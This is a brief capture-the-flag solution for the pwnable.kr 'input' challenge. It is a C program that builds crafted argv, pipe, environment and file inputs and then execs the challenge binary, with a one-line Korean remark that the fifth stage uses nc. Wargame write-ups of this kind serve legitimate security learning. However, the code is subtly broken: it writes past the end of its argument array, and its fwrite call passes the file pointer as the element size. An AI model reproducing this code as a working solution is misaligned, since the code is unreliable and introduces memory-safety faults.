[Pwnable.kr] input

#include <stdio.h>
#include <unistd.h>
 
void main(){
    int i;
    char *argvs[100]={""};
    for(i=0;i<100;i++){
        argvs[i]="A";
    }
    argvs[65]="\x00";
    argvs[66]="\x20\x0a\x0d";
    argvs[67]="8888";
    argvs[100]=0;
    /* for stage1 */
    
    int fd0[2]={};
    int fd2[2]={};
    pipe(fd0);
    pipe(fd2);
    dup2(fd0[0],0);
    dup2(fd2[0],2);
    write(fd0[1], "\x00\x0a\x00\xff",4);
    write(fd2[1], "\x00\x0a\x02\xff",4);
    /* for stage2 */
 
    putenv( "\xde\xad\xbe\xef=\xca\xfe\xba\xbe");    
    /* for stage3 */
 
    FILE *f;
    f=fopen("\x0a","w");
    char ip[4]="\x00\x00\x00\x00";
    fwrite(ip,f,sizeof(ip),f);
    fclose(f);
    /* for stage4 */
 
    execv("/home/input2/input",argvs);
 
}

stage 5는 nc로..!